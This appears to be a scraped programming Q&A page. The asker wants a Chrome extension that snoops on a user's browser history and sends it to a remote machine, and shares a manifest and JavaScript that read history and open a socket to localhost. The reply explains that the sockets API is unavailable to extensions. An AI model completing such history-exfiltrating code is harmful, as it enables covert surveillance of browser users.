【问题标题】:Uncaught TypeError: Cannot read property 'tcp' of undefined in chrome extension未捕获的类型错误:无法读取 chrome 扩展中未定义的属性“tcp”
【发布时间】:2015-09-04 14:26:29
【问题描述】:

我正在尝试在 chrome 中开发一个扩展,它可以窥探浏览器历史并将其发送到远程机器。我需要建立套接字连接来传输数据。 但我收到上述错误。在线阅读很多帖子,其中说清单文件中必须存在与套接字权限相关的错误。任何人都可以找出错误吗?请检查下面的代码。

清单文件:

{
    "manifest_version": 2,
    "name": "Browser History Snooping",
    "description": "This extension snoops browser history and sends it to a remote machine",
    "version": "1.0",
    "browser_action": {
        "default_icon": "icon.png",
        "default_popup": "popup.html"
    },
    "permissions": [
        "history"
    ],
    "sockets": {
        "tcp": {
            "connect": ""
        }
    }
}

JavaScript

var histories = [];
var visits = [];

chrome.history.search({
    text: '',
    maxResults: 0
}, function (historyItems) {
    var historiesProcessed = 0;
    for (var i = 0; i < historyItems.length; i++) {
        //histories.push(historyItems[i]);
        console.log(historyItems[i]);

        chrome.history.getVisits({
            url: historyItems[i].url
        }, function (visitItems) {
            for (var i = 0; i < visitItems.length; i++) {
                visits.push(visitItems[i]);
            }
            historiesProcessed++;
            if (historiesProcessed === historyItems.length) {
                console.log(visits.length + ' visits');
            }
        });
    }

    console.log(histories);
});

chrome.sockets.tcp.create({}, function (createInfo) {
    chrome.sockets.tcp.connect(createInfo.socketId, '127.0.0.1', 8888,
        function (result) {
            if (result >= 0) {
                console.log('Successfully connected');
            }
        });
});

【问题讨论】:

标签: javascript sockets tcp google-chrome-extension


【解决方案1】:

错误是不言自明的:chrome.sockets 未定义。

extension documentation 中没有 sockets API,但它是为 chrome apps 定义的。

【讨论】:

    猜你喜欢
    • 2017-10-28
    • 2021-06-07
    • 2013-02-13
    • 2018-10-20
    • 2016-01-03
    • 1970-01-01
    • 2016-03-26
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多